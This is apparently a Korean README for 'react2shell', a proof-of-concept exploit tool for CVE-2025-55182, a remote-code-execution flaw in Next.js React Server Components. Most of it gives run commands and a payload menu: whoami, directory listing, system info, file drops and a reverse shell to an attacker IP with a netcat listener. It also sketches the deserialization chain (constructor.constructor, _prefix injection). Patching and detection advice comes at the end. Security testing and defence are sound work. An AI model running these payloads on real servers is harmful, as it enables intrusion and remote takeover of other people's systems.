
취약점 CVE-2025-55182를 악용하기 위한 완전한 프레임워크
CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 원격 코드 실행 취약점입니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.
# 저장소 복제 또는 다운로드
git clone https://github.com/zr0n/react2shell
cd react2shell
# 의존성 설치
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
| 페이로드 | 설명 | 예시 |
|---|---|---|
basic | 수학적 개념 증명 (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | 현재 시스템 사용자 표시 | node react2shell.js http://target:3000 whoami |
dir | 현재 디렉터리 내용 나열 | node react2shell.js http://target:3000 dir |
systeminfo | 운영 체제 정보 표시 | node react2shell.js http://target:3000 systeminfo |
file | EXPLOITED.txt 증명 파일 생성 | node react2shell.js http://target:3000 file |
calc | 계산기 실행 (Windows 시각적 증명) | node react2shell.js http://target:3000 calc |
notepad | 메모장 실행 (Windows 시각적 증명) | node react2shell.js http://target:3000 notepad |
shell | 리버스 셸 (Windows/Linux 자동 감지) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |
node react2shell.js http://localhost:3000 basic
# 서버 콘솔에서 출력 확인: EXPLOITED: 50
# 현재 사용자 확인
node react2shell.js http://localhost:3000 whoami
# 파일 목록
node react2shell.js http://localhost:3000 dir
# 시스템 정보
node react2shell.js http://localhost:3000 systeminfo
# 계산기 실행
node react2shell.js http://localhost:3000 calc
# 메모장 실행
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# 서버 디렉터리에서 EXPLOITED.txt 확인
# 터미널 1: 리스너 시작
nc -lvnp 4444
# 터미널 2: 익스플로잇 실행
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Windows (PowerShell) 및 Linux (Bash) 모두에서 작동
# 프로젝트 디렉터리 생성
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# 취약한 버전으로 Next.js 초기화
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# 취약한 버전으로 다운그레이드
npm install [email protected]
# 의존성 설치
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">취약한 Next.js 앱</h1>
<p className="mt-4">이 앱은 CVE-2025-55182에 취약합니다</p>
</div>
);
}
npm run dev
# 서버가 http://localhost:3000 에서 실행됩니다
이 익스플로잇은 React Server Components의 역직렬화 취약점을 활용합니다:
constructor.constructor를 이용해 Function 생성자에 접근_prefix 필드를 통해 임의 JavaScript 코드 주입// 단순화된 취약점 체인
{
_formData: {
get: '$3:constructor:constructor' // Function 생성자 접근
},
_prefix: 'YOUR_CODE_HERE//' // 주입된 코드
}
즉시 업데이트:
npm update next@latest
npm update react@latest react-dom@latest
패치된 버전 확인:
npm list next react
필수 버전:
next-action 헤더가 있는 의심스러운 POST 요청 모니터링다음 조건의 POST 요청을 찾으십시오:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (성공적 익스플로잇) 또는 500 (실패)
이 도구는 교육용입니다. 다음을 개선하는 기여를 환영합니다:
공격 기능을 강화하는 기여는 제출하지 마십시오.
교육용으로만 사용 - 어떠한 보증도 제공하지 않음
Luiz Fernando Ziron 사이버 보안 교육 및 인식 제고 목적으로 제작되었습니다.
이 도구를 사용함으로써 다음에 동의하는 것으로 간주됩니다:
컴퓨터 시스템에 대한 무단 접근은 대부분의 국가에서 범죄입니다.
안전하게, 윤리적으로, 합법적으로 행동하세요. 🔒